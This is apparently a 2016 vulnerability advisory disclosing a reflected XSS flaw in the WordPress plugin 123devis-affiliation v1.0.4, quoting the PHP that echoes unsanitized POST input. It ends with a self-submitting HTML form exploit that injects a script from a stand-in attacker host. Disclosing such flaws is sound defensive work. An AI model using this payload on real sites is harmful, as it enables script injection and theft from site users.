Advisory #: 1111
Title: Reflected XSS in wordpress plugin 123devis-affiliation v1.0.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/123devis-affiliation
Downloads: 2211
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: 123devis-affiliation
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./123devis-affiliation/forms/settings.php: 23: <input id="sm_username" type="text" class="sm_txt" name="sm_username" value="<?php if (isset($_POST['sm_username'])) echo $_POST['sm_username'];?>"> 27: <input id="sm_password" type="password" class="sm_pwd" name="sm_password" value="<?php if (isset($_POST['sm_password'])) echo $_POST['sm_password'];?>"> The variable sm_username appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./123devis-affiliation/forms/settings.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/123devis-affiliation/forms/settings.php method=post> <input type=hidden name=sm_username value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>